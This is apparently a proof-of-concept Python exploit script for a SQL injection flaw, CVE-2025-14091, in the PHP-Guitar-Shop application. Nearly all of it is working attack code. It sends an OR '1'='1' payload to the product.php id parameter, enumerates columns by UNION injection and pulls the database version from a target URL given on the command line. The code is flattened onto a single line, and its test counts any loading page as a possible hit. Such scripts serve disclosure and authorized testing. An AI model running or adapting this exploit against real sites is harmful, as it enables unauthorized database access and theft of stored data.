CVE-2025-14091 TrippWasTaken PHP-Guitar-Shop SQL注入漏洞

import requests import sys # CVE-2025-14091 SQL Injection PoC for TrippWasTaken PHP-Guitar-Shop # Target: /product.php?id= parameter def test_basic_injection(url): """Test basic SQL injection vulnerability""" payload = "1' OR '1'='1" target_url = f"{url}/product.php?id={payload}" print(f"[*] Testing target: {target_url}") try: response = requests.get(target_url, timeout=10) # Check for SQL error messages indicating vulnerability sql_errors = [ "SQL syntax", "mysql_fetch", "mysqli_fetch", "Warning: mysql", "SQLite3::query", "PGresult", "syntax error or access violation" ] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[!] VULNERABLE! SQL error detected: {error}") return True if response.status_code == 200 and len(response.text) > 100: print("[+] Potential vulnerability - no SQL errors but page loads") return True except requests.RequestException as e: print(f"[!] Request failed: {e}") return False return False def test_union_injection(url): """Test UNION-based SQL injection""" # Determine number of columns (adjust based on application) for i in range(1, 10): payload = f"1' UNION SELECT {','.join(['NULL']*i)}-- -" target_url = f"{url}/product.php?id={payload}" try: response = requests.get(target_url, timeout=10) if response.status_code == 200 and "NULL" not in response.text: print(f"[+] Found {i} columns for UNION injection") return i except: continue return None def extract_data(url, num_cols): """Extract database information using UNION injection""" # Common database extraction payload payload = f"1' UNION SELECT {','.join(['@@version']*num_cols)}-- -" target_url = f"{url}/product.php?id={payload}" print(f"[*] Extracting database version...") try: response = requests.get(target_url, timeout=10) # Parse response for database version if response.status_code == 200: print(f"[+] Database info extracted (check response for details)") return response.text[:500] except: pass return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14091-poc.py <target_url>") print("Example: python cve-2025-14091-poc.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2025-14091 SQL Injection PoC") print("Target: TrippWasTaken PHP-Guitar-Shop /product.php") print("=" * 60) if test_basic_injection(target): print("\n[*] Proceeding with detailed testing...") cols = test_union_injection(target) if cols: extract_data(target, cols) else: print("[-] Target may not be vulnerable")